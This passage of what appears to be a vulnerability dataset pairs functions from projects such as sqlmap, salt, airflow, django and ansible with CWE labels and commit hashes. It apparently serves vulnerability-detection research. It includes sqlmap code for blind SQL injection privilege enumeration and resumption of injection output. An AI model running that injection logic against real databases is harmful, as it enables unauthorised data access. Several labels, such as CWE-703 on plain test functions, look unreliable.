                    warnMsg += ""privileges for user '%s'"" % outuser
                    logger.warn(warnMsg)
                    continue

                infoMsg = ""fetching privileges for user '%s'"" % outuser
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user, index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    else:
                        query = rootQuery.blind.query % (user, index)
                    privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and "", "" in privilege:
                        privilege = privilege.replace("", "", "","")
                        privs = privilege.split("","")
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in PGSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace("", "", "","")
                        privs = privilege.split("","")
                        i = 1

                        for priv in privs:
                            if priv.upper() == ""Y"":
                                for position, mysqlPriv in MYSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split("","")
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in (""Y"", ""G""):
                                for position, db2Priv in DB2_PRIVS.items():
                                    if position == i:
                                        privilege += "", "" + db2Priv

                            i += 1

                        privileges.add(privilege)

                    if isAdminFromPrivileges(privileges):
                        areAdmins.add(user)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = ""unable to retrieve the privileges ""
                    warnMsg += ""for user '%s'"" % outuser
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = ""unable to retrieve the privileges ""
            errMsg += ""for the database users""
            raise SqlmapNoneDataException(errMsg)

        return (kb.data.cachedUsersPrivileges, areAdmins)"
,UNKNOWN,UNKNOWN,salt/utils/virtualbox.py,1,"def vb_get_network_adapters(machine_name=None, machine=None):
    """"""
    A valid machine_name or a machine is needed to make this work!

    @param machine_name:
    @type machine_name: str
    @param machine:
    @type machine: IMachine
    @return: INetorkAdapter's converted to dicts
    @rtype: [dict]
    """"""

    if machine_name:
        machine = vb_get_box().findMachine(machine_name)
    network_adapters = []

    for i in range(vb_get_max_network_slots()):
        try:
            inetwork_adapter = machine.getNetworkAdapter(i)
            network_adapter = vb_xpcom_to_attribute_dict(
                inetwork_adapter, ""INetworkAdapter""
            )
            network_adapter[""properties""] = inetwork_adapter.getProperties("""")
            network_adapters.append(network_adapter)
        except Exception:
            pass

    return network_adapters",CWE-703,saltstack/salt,7965eaab3c92dd51ee29fd4a2ab3a8f577ac71c1,"def vb_get_network_adapters(machine_name=None, machine=None):
    """"""
    A valid machine_name or a machine is needed to make this work!

    @param machine_name:
    @type machine_name: str
    @param machine:
    @type machine: IMachine
    @return: INetorkAdapter's converted to dicts
    @rtype: [dict]
    """"""

    if machine_name:
        machine = vb_get_box().findMachine(machine_name)
    network_adapters = []

    for i in range(vb_get_max_network_slots()):
        try:
            inetwork_adapter = machine.getNetworkAdapter(i)
            network_adapter = vb_xpcom_to_attribute_dict(
                inetwork_adapter, ""INetworkAdapter""
            )
            network_adapter[""properties""] = inetwork_adapter.getProperties("""")
            network_adapters.append(network_adapter)
        except:
            pass

    return network_adapters"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/utils/selective_checks.py,0,"def _fail_if_suspended_providers_affected(self):
        return ""allow suspended provider changes"" not in self._pr_labels",CWE-Unknown,apache/airflow,bc7e471cdae73a3c46ef89d17dbc1a54212b9291,"def _fail_if_suspended_providers_affected(self):
        return ""allow suspended provider changes"" not in self._pr_labels"
,UNKNOWN,UNKNOWN,tests/anthropic/test_anthropic_autolog.py,1,"def test_messages_autolog(is_async):
    mlflow.anthropic.autolog()

    _call_anthropic(DUMMY_CREATE_MESSAGE_REQUEST, DUMMY_CREATE_MESSAGE_RESPONSE, is_async)

    traces = get_traces()
    assert len(traces) == 1
    assert traces[0].info.status == ""OK""
    assert len(traces[0].data.spans) == 1
    span = traces[0].data.spans[0]
    assert span.name == ""AsyncMessages.create"" if is_async else ""Messages.create""
    assert span.span_type == SpanType.CHAT_MODEL
    assert span.inputs == DUMMY_CREATE_MESSAGE_REQUEST
    # Only keep input_tokens / output_tokens fields in usage dict.
    span.outputs[""usage""] = {
        key: span.outputs[""usage""][key] for key in [""input_tokens"", ""output_tokens""]
    }
    assert span.outputs == DUMMY_CREATE_MESSAGE_RESPONSE.to_dict()

    assert span.get_attribute(SpanAttributeKey.CHAT_MESSAGES) == [
        {
            ""role"": ""user"",
            ""content"": ""test message"",
        },
        {
            ""role"": ""assistant"",
            ""content"": [
                {
                    ""text"": ""test answer"",
                    ""type"": ""text"",
                }
            ],
        },
    ]

    assert span.get_attribute(SpanAttributeKey.CHAT_USAGE) == {
        ""input_tokens"": 10,
        ""output_tokens"": 18,
        ""total_tokens"": 28,
    }

    assert traces[0].info.token_usage == {
        ""input_tokens"": 10,
        ""output_tokens"": 18,
        ""total_tokens"": 28,
    }

    mlflow.anthropic.autolog(disable=True)
    _call_anthropic(DUMMY_CREATE_MESSAGE_REQUEST, DUMMY_CREATE_MESSAGE_RESPONSE, is_async)

    # No new trace should be created
    traces = get_traces()
    assert len(traces) == 1",CWE-703,mlflow/mlflow,9eebfb306562ca3b6c940295b18a0ce3893fb7ae,"def test_messages_autolog(is_async):
    mlflow.anthropic.autolog()

    _call_anthropic(DUMMY_CREATE_MESSAGE_REQUEST, DUMMY_CREATE_MESSAGE_RESPONSE, is_async)

    traces = get_traces()
    assert len(traces) == 1
    assert traces[0].info.status == ""OK""
    assert len(traces[0].data.spans) == 1
    span = traces[0].data.spans[0]
    assert span.name == ""AsyncMessages.create"" if is_async else ""Messages.create""
    assert span.span_type == SpanType.CHAT_MODEL
    assert span.inputs == DUMMY_CREATE_MESSAGE_REQUEST
    # Only keep input_tokens / output_tokens fields in usage dict.
    span.outputs[""usage""] = {
        key: span.outputs[""usage""][key] for key in [""input_tokens"", ""output_tokens""]
    }
    assert span.outputs == DUMMY_CREATE_MESSAGE_RESPONSE.to_dict()

    assert span.get_attribute(SpanAttributeKey.CHAT_MESSAGES) == [
        {
            ""role"": ""user"",
            ""content"": ""test message"",
        },
        {
            ""role"": ""assistant"",
            ""content"": [
                {
                    ""text"": ""test answer"",
                    ""type"": ""text"",
                }
            ],
        },
    ]

    mlflow.anthropic.autolog(disable=True)
    _call_anthropic(DUMMY_CREATE_MESSAGE_REQUEST, DUMMY_CREATE_MESSAGE_RESPONSE, is_async)

    # No new trace should be created
    traces = get_traces()
    assert len(traces) == 1"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/state.py,0,"def __init__(
        self, app_label, name, fields, options=None, bases=None, managers=None
    ):
        self.app_label = app_label
        self.name = name
        self.fields = dict(fields)
        self.options = options or {}
        self.options.setdefault(""indexes"", [])
        self.options.setdefault(""constraints"", [])
        self.bases = bases or (models.Model,)
        self.managers = managers or []
        for name, field in self.fields.items():
            # Sanity-check that fields are NOT already bound to a model.
            if hasattr(field, ""model""):
                raise ValueError(
                    'ModelState.fields cannot be bound to a model - ""%s"" is.' % name
                )
            # Sanity-check that relation fields are NOT referring to a model class.
            if field.is_relation and hasattr(field.related_model, ""_meta""):
                raise ValueError(
                    'Model fields in ""ModelState.fields"" cannot refer to a model class '
                    f'- ""{self.app_label}.{self.name}.{name}.to"" does. Use a string '
                    ""reference instead.""
                )
            if field.many_to_many and hasattr(field.remote_field.through, ""_meta""):
                raise ValueError(
                    'Model fields in ""ModelState.fields"" cannot refer to a model class '
                    f'- ""{self.app_label}.{self.name}.{name}.through"" does. Use a '
                    ""string reference instead.""
                )
        # Sanity-check that indexes have their name set.
        for index in self.options[""indexes""]:
            if not index.name:
                raise ValueError(
                    ""Indexes passed to ModelState require a name attribute. ""
                    ""%r doesn't have one."" % index
                )",CWE-Unknown,django/django,a8adb6aa6cc6b9efd043acc980b5744bc211c760,"def __init__(
        self, app_label, name, fields, options=None, bases=None, managers=None
    ):
        self.app_label = app_label
        self.name = name
        self.fields = dict(fields)
        self.options = options or {}
        self.options.setdefault(""indexes"", [])
        self.options.setdefault(""constraints"", [])
        self.bases = bases or (models.Model,)
        self.managers = managers or []
        for name, field in self.fields.items():
            # Sanity-check that fields are NOT already bound to a model.
            if hasattr(field, ""model""):
                raise ValueError(
                    'ModelState.fields cannot be bound to a model - ""%s"" is.' % name
                )
            # Sanity-check that relation fields are NOT referring to a model class.
            if field.is_relation and hasattr(field.related_model, ""_meta""):
                raise ValueError(
                    'ModelState.fields cannot refer to a model class - ""%s.to"" does. '
                    ""Use a string reference instead."" % name
                )
            if field.many_to_many and hasattr(field.remote_field.through, ""_meta""):
                raise ValueError(
                    'ModelState.fields cannot refer to a model class - ""%s.through"" '
                    ""does. Use a string reference instead."" % name
                )
        # Sanity-check that indexes have their name set.
        for index in self.options[""indexes""]:
            if not index.name:
                raise ValueError(
                    ""Indexes passed to ModelState require a name attribute. ""
                    ""%r doesn't have one."" % index
                )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/resume.py,0,"def resume(expression, payload):
    """"""
    This function can be called to resume part or entire output of a
    SQL injection query output.
    """"""

    if ""sqlmapfile"" in expression or ""sqlmapoutput"" in expression:
        return None

    condition = (
                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                  and expression in kb.resumedQueries[conf.url].keys()
                )

    if not condition:
        return None

    resumedValue = kb.resumedQueries[conf.url][expression]

    if not resumedValue:
        return None

    resumedValue = resumedValue.replace(""__NEWLINE__"", ""\n"").replace(""__TAB__"", ""\t"")

    if resumedValue[-1] == ""]"":
        resumedValue = resumedValue[:-1]

        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        logValue = re.findall(""__START__(.*?)__STOP__"", resumedValue, re.S)

        if logValue:
            logValue = "", "".join([value.replace(""__DEL__"", "", "") for value in logValue])
        else:
            logValue = resumedValue

        if ""\n"" in logValue:
            infoMsg += ""%s..."" % logValue.split(""\n"")[0]
        else:
            infoMsg += logValue

        logger.info(infoMsg)

        return resumedValue

    # If we called this function without providing a payload it means that
    # we have called it from lib/request/inject __goInband() function
    # in UNION query (inband) SQL injection so we return to the calling
    # function so that the query output will be retrieved taking advantage
    # of the inband SQL injection vulnerability.
    if not payload:
        return None

    if not kb.dbms:
        return None

    substringQuery = queries[kb.dbms].substring
    select = re.search(""\ASELECT "", expression, re.I)

    _, length, regExpr = queryOutputLength(expression, payload)

    if not length:
        return None

    if len(resumedValue) == int(length):
        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        infoMsg += ""%s"" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))

        return resumedValue
    elif len(resumedValue) < int(length):
        infoMsg  = ""resumed from file '%s': "" % conf.sessionFile
        infoMsg += ""%s..."" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))

        if select:
            newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)
        else:
            newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length)))

        missingCharsLength = int(length) - len(resumedValue)

        infoMsg  = ""retrieving pending %d query "" % missingCharsLength
        infoMsg += ""output characters""
        logger.info(infoMsg)

        start = time.time()
        count, finalValue = bisection(payload, newExpr, length=missingCharsLength)

        debugMsg = ""performed %d queries in %d seconds"" % (count, calculateDeltaSeconds(start))
        logger.debug(debugMsg)

        if len(finalValue) != ( int(length) - len(resumedValue) ):
            warnMsg  = ""the total length of the query is not ""
            warnMsg += ""right, sqlmap is going to retrieve the ""
            warnMsg += ""query value from the beginning now""
            logger.warn(warnMsg)

            return None

        return ""%s%s"" % (resumedValue, finalValue)

    return None",,sqlmapproject/sqlmap,c39d819dd2b4dbd5352faa70b4b960c703e92766,"def resume(expression, payload):
    """"""
    This function can be called to resume part or entire output of a
    SQL injection query output.
    """"""

    if ""sqlmapfile"" in expression or ""sqlmapoutput"" in expression:
        return None

    condition = (
                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                  and expression in kb.resumedQueries[conf.url].keys()
                )

    if not condition:
        return None

    resumedValue = kb.resumedQueries[conf.url][expression]

    if not resumedValue:
        return None

    resumedValue = resumedValue.replace(""__NEWLINE__"", ""\n"").replace(""__TAB__"", ""\t"")

    if resumedValue[-1] == ""]"":
        resumedValue = resumedValue[:-1]

        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        logValue = re.findall(""__START__(.*?)__STOP__"", resumedValue, re.S)

        if logValue:
            logValue = "", "".join([value.replace(""__DEL__"", "", "") for value in logValue])
        else:
            logValue = resumedValue

        if ""\n"" in logValue:
            infoMsg += ""%s..."" % logValue.split(""\n"")[0]
        else:
            infoMsg += logValue

        logger.info(infoMsg)

        return resumedValue

    # If we called this function without providing a payload it means that
    # we have called it from lib/request/inject __goInband() function
    # in UNION query (inband) SQL injection so we return to the calling
    # function so that the query output will be retrieved taking advantage
    # of the inband SQL injection vulnerability.
    if not payload:
        return None

    substringQuery = queries[kb.dbms].substring
    select = re.search(""\ASELECT "", expression, re.I)

    _, length, regExpr = queryOutputLength(expression, payload)

    if not length:
        return None

    if len(resumedValue) == int(length):
        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        infoMsg += ""%s"" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))

        return resumedValue
    elif len(resumedValue) < int(length):
        infoMsg  = ""resumed from file '%s': "" % conf.sessionFile
        infoMsg += ""%s..."" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))

        if select:
            newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)
        else:
            newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length)))

        missingCharsLength = int(length) - len(resumedValue)

        infoMsg  = ""retrieving pending %d query "" % missingCharsLength
        infoMsg += ""output characters""
        logger.info(infoMsg)

        start = time.time()
        count, finalValue = bisection(payload, newExpr, length=missingCharsLength)

        debugMsg = ""performed %d queries in %d seconds"" % (count, calculateDeltaSeconds(start))
        logger.debug(debugMsg)

        if len(finalValue) != ( int(length) - len(resumedValue) ):
            warnMsg  = ""the total length of the query is not ""
            warnMsg += ""right, sqlmap is going to retrieve the ""
            warnMsg += ""query value from the beginning now""
            logger.warn(warnMsg)

            return None

        return ""%s%s"" % (resumedValue, finalValue)

    return None"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/nxos_file_copy.py,1,"def md5sum_check(self, dst, file_system):
        command = 'show file {0}{1} md5sum'.format(file_system, dst)
        remote_filehash = self.conn.exec_command(command)
        remote_filehash = to_bytes(remote_filehash, errors='surrogate_or_strict')

        local_file = self.playvals['local_file']
        try:
            with open(local_file, 'rb') as f:
                filecontent = f.read()
        except (OSError, IOError) as exc:
            raise AnsibleError('Error reading the file: {0}'.format(to_text(exc)))

        filecontent = to_bytes(filecontent, errors='surrogate_or_strict')
        local_filehash = hashlib.md5(filecontent).hexdigest()

        decoded_rhash = remote_filehash.decode(""UTF-8"")

        if local_filehash == decoded_rhash:
            return True
        else:
            return False",CWE-327,ansible/ansible,7b1e2d717678dc9ba1ce3fa498b0ea7b839f3aba,"def md5sum_check(self, dst, file_system):
        command = 'show file {0}{1} md5sum'.format(file_system, dst)
        remote_filehash = self.conn.exec_command(command)
        remote_filehash = to_bytes(remote_filehash, errors='surrogate_or_strict')

        local_file = self.playvals['local_file']
        try:
            with open(local_file, 'rb') as f:
                filecontent = f.read()
        except (OSError, IOError) as exc:
            raise AnsibleError('Error reading the file: {0}'.format(to_text(exc)))

        filecontent = to_bytes(filecontent, errors='surrogate_or_strict')
        local_filehash = hashlib.md5(filecontent).hexdigest()

        if local_filehash == remote_filehash:
            return True
        else:
            return False"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_relations(self, cursor, table_name):
        """"""
        Returns a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        """"""
        table_name = table_name.upper()
        cursor.execute(""""""
    SELECT ta.column_name, tb.table_name, tb.column_name
    FROM   user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb,
           user_tab_cols ta, user_tab_cols tb
    WHERE  user_constraints.table_name = %s AND
           ta.table_name = user_constraints.table_name AND
           ta.column_name = ca.column_name AND
           ca.table_name = ta.table_name AND
           user_constraints.constraint_name = ca.constraint_name AND
           user_constraints.r_constraint_name = cb.constraint_name AND
           cb.table_name = tb.table_name AND
           cb.column_name = tb.column_name AND
           ca.position = cb.position"""""", [table_name])

        relations = {}
        for row in cursor.fetchall():
            relations[row[0].lower()] = (row[2].lower(), row[1].lower())
        return relations",CWE-89,django/django,aa8ee6a5731b37b73635e7605521fb1a54a5c10d,"def get_relations(self, cursor, table_name):
        """"""
        Returns a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        """"""
        table_name = table_name.upper()
        cursor.execute(""""""
    SELECT ta.column_name, tb.table_name, tb.column_name
    FROM   user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb,
           user_tab_cols ta, user_tab_cols tb
    WHERE  user_constraints.table_name = %s AND
           ta.table_name = user_constraints.table_name AND
           ta.column_name = ca.column_name AND
           ca.table_name = ta.table_name AND
           user_constraints.constraint_name = ca.constraint_name AND
           user_constraints.r_constraint_name = cb.constraint_name AND
           cb.table_name = tb.table_name AND
           cb.column_name = tb.column_name AND
           ca.position = cb.position"""""", [table_name])

        relations = {}
        for row in cursor.fetchall():
            relations[row[0]] = (row[2], row[1].lower())
        return relations"
,UNKNOWN,UNKNOWN,salt/states/boto_vpc.py,1,"def route_table_present(name, vpc_name=None, vpc_id=None, routes=None,
                        subnet_ids=None, subnet_names=None, tags=None,
                        region=None, key=None, keyid=None, profile=None):
    '''
    Ensure route table with routes exists and is associated to a VPC.

    This function requires boto3 to be installed if nat gatewyas are specified.

    Example:

    .. code-block:: yaml

        boto_vpc.route_table_present:
          - name: my_route_table
          - vpc_id: vpc-123456
          - routes:
            - destination_cidr_block: 0.0.0.0/0
              internet_gateway_name: InternetGateway
            - destination_cidr_block: 10.10.11.0/24
              instance_id: i-123456
            - destination_cidr_block: 10.10.12.0/24
              interface_id: eni-123456
            - destination_cidr_block: 10.10.13.0/24
              instance_name: mygatewayserver
          - subnet_names:
            - subnet1
            - subnet2

    name
        Name of the route table.

    vpc_name
        Name of the VPC with which the route table should be associated.

    vpc_id
        Id of the VPC with which the route table should be associated.
        Either vpc_name or vpc_id must be provided.

    routes
        A list of routes.  Each route has a cidr and a target.

    subnet_ids
        A list of subnet ids to associate

    subnet_names
        A list of subnet names to associate

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    _ret = _route_table_present(name=name, vpc_name=vpc_name, vpc_id=vpc_id,
                                tags=tags, region=region, key=key,
                                keyid=keyid, profile=profile)
    ret['changes'] = _ret['changes']
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
        if ret['result'] is None and __opts__['test']:
            return ret
    _ret = _routes_present(route_table_name=name, routes=routes, tags=tags,
                           region=region, key=key, keyid=keyid, profile=profile)
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    _ret = _subnets_present(route_table_name=name, subnet_ids=subnet_ids,
                            subnet_names=subnet_names, tags=tags, region=region,
                            key=key, keyid=keyid, profile=profile)
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    return ret",CWE-605,saltstack/salt,5e63158e0e9ea23fd58992aca7e237f3b48bf839,"def route_table_present(name, vpc_name=None, vpc_id=None, routes=None,
                        subnet_ids=None, subnet_names=None, tags=None,
                        region=None, key=None, keyid=None, profile=None):
    '''
    Ensure route table with routes exists and is associated to a VPC.

    This function requires boto3 to be installed if nat gatewyas are specified.

    Example:

    .. code-block:: yaml

        boto_vpc.route_table_present:
          - name: my_route_table
          - vpc_id: vpc-123456
          - routes:
            - destination_cidr_block: 0.0.0.0/0
              internet_gateway_name: InternetGateway
            - destination_cidr_block: 10.10.11.0/24
              instance_id: i-123456
            - destination_cidr_block: 10.10.12.0/24
              interface_id: eni-123456
            - destination_cidr_block: 10.10.13.0/24
              instance_name: mygatewayserver
            - subnet_names:
              - subnet1
              - subnet2

    name
        Name of the route table.

    vpc_name
        Name of the VPC with which the route table should be associated.

    vpc_id
        Id of the VPC with which the route table should be associated.
        Either vpc_name or vpc_id must be provided.

    routes
        A list of routes.  Each route has a cidr and a target.

    subnet_ids
        A list of subnet ids to associate

    subnet_names
        A list of subnet names to associate

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    _ret = _route_table_present(name=name, vpc_name=vpc_name, vpc_id=vpc_id,
                                tags=tags, region=region, key=key,
                                keyid=keyid, profile=profile)
    ret['changes'] = _ret['changes']
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
        if ret['result'] is None and __opts__['test']:
            return ret
    _ret = _routes_present(route_table_name=name, routes=routes, tags=tags,
                           region=region, key=key, keyid=keyid, profile=profile)
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    _ret = _subnets_present(route_table_name=name, subnet_ids=subnet_ids,
                            subnet_names=subnet_names, tags=tags, region=region,
                            key=key, keyid=keyid, profile=profile)
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    return ret"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/s3.py,0,"def get_s3_connection(aws_connect_kwargs, location, rgw, s3_url):
    if s3_url and rgw:
        rgw = urlparse(s3_url)
        # ensure none of the named arguments we will pass to boto.connect_s3
        # are already present in aws_connect_kwargs
        for kw in ['is_secure', 'host', 'port', 'calling_format']:
            try:
                del aws_connect_kwargs[kw]
            except KeyError:
                pass
        s3 = boto.connect_s3(
            is_secure=rgw.scheme == 'https',
            host=rgw.hostname,
            port=rgw.port,
            calling_format=OrdinaryCallingFormat(),
            **aws_connect_kwargs
        )
    elif is_fakes3(s3_url):
        fakes3 = urlparse(s3_url)
        # ensure none of the named arguments we will pass to S3Connection
        # are already present in aws_connect_kwargs
        for kw in ['is_secure', 'host', 'port', 'calling_format']:
            try:
                del aws_connect_kwargs[kw]
            except KeyError:
                pass
        s3 = S3Connection(
            is_secure=fakes3.scheme == 'fakes3s',
            host=fakes3.hostname,
            port=fakes3.port,
            calling_format=OrdinaryCallingFormat(),
            **aws_connect_kwargs
        )
    elif is_walrus(s3_url):
        walrus = urlparse(s3_url).hostname
        s3 = boto.connect_walrus(walrus, **aws_connect_kwargs)
    else:
        aws_connect_kwargs['is_secure'] = True
        try:
            s3 = connect_to_aws(boto.s3, location, **aws_connect_kwargs)
        except AnsibleAWSError:
            # use this as fallback because connect_to_region seems to fail in boto + non 'classic' aws accounts in some cases
            s3 = boto.connect_s3(**aws_connect_kwargs)
    return s3",,ansible/ansible,e7fd38af782a3bb3f488e13770664af7a0d394c3,"def get_s3_connection(aws_connect_kwargs, location, rgw, s3_url):
    if s3_url and rgw:
        rgw = urlparse(s3_url)
        s3 = boto.connect_s3(
            is_secure=rgw.scheme == 'https',
            host=rgw.hostname,
            port=rgw.port,
            calling_format=OrdinaryCallingFormat(),
            **aws_connect_kwargs
        )
    elif is_fakes3(s3_url):
        fakes3 = urlparse(s3_url)
        s3 = S3Connection(
            is_secure=fakes3.scheme == 'fakes3s',
            host=fakes3.hostname,
            port=fakes3.port,
            calling_format=OrdinaryCallingFormat(),
            **aws_connect_kwargs
        )
    elif is_walrus(s3_url):
        walrus = urlparse(s3_url).hostname
        s3 = boto.connect_walrus(walrus, **aws_connect_kwargs)
    else:
        aws_connect_kwargs['is_secure'] = True
        try:
            s3 = connect_to_aws(boto.s3, location, **aws_connect_kwargs)
        except AnsibleAWSError:
            # use this as fallback because connect_to_region seems to fail in boto + non 'classic' aws accounts in some cases
            s3 = boto.connect_s3(**aws_connect_kwargs)
    return s3"
,UNKNOWN,UNKNOWN,tests/core/test_configuration.py,1,"def test_auth_backends_adds_session(self):
        with patch(""os.environ"", {""AIRFLOW__API__AUTH_BACKEND"": None}):
            test_conf = AirflowConfigParser(default_config="""")
            # Guarantee we have deprecated settings, so we test the deprecation
            # lookup even if we remove this explicit fallback
            test_conf.deprecated_values = {
                ""api"": {
                    ""auth_backends"": (
                        re.compile(r""^airflow\.api\.auth\.backend\.deny_all$|^$""),
                        ""airflow.api.auth.backend.session"",
                        ""3.0"",
                    ),
                },
            }
            test_conf.read_dict(
                {""api"": {""auth_backends"": ""airflow.providers.fab.auth_manager.api.auth.backend.basic_auth""}}
            )

            with pytest.warns(FutureWarning):
                test_conf.validate()
                assert (
                    test_conf.get(""api"", ""auth_backends"")
                    == ""airflow.providers.fab.auth_manager.api.auth.backend.basic_auth,airflow.api.auth.backend.session""
                )",CWE-703,apache/airflow,c2a9833ba74ec273e4a668c7a7962c12171a6299,"def test_auth_backends_adds_session(self):
        with patch(""os.environ"", {""AIRFLOW__API__AUTH_BACKEND"": None}):
            test_conf = AirflowConfigParser(default_config="""")
            # Guarantee we have deprecated settings, so we test the deprecation
            # lookup even if we remove this explicit fallback
            test_conf.deprecated_values = {
                ""api"": {
                    ""auth_backends"": (
                        re.compile(r""^airflow\.api\.auth\.backend\.deny_all$|^$""),
                        ""airflow.api.auth.backend.session"",
                        ""3.0"",
                    ),
                },
            }
            test_conf.read_dict({""api"": {""auth_backends"": ""airflow.api.auth.backend.basic_auth""}})

            with pytest.warns(FutureWarning):
                test_conf.validate()
                assert (
                    test_conf.get(""api"", ""auth_backends"")
                    == ""airflow.api.auth.backend.basic_auth,airflow.api.auth.backend.session""
                )"
,UNKNOWN,UNKNOWN,tests/operators/test_subdag_operator.py,1,"def test_subdag_in_context_manager(self):
        """"""
        Creating a sub DAG within a main DAG's context manager
        """"""
        with DAG(""parent"", default_args=default_args) as dag:
            subdag = DAG(""parent.test"", default_args=default_args)
            with pytest.warns(RemovedInAirflow3Warning, match=WARNING_MESSAGE):
                op = SubDagOperator(task_id=""test"", subdag=subdag)

            assert op.dag == dag
            assert op.subdag == subdag",CWE-703,apache/airflow,18aa7dca799a77d69d2c148a9437ebbc2e6fcc88,"def test_subdag_in_context_manager(self):
        """"""
        Creating a sub DAG within a main DAG's context manager
        """"""
        with DAG(""parent"", default_args=default_args) as dag:
            subdag = DAG(""parent.test"", default_args=default_args)
            with pytest.warns(RemovedInAirflow3Warning, match=WARNING_MESSAGE):
                op = SubDagOperator(task_id=""test"", subdag=subdag)

            assert op.dag == dag
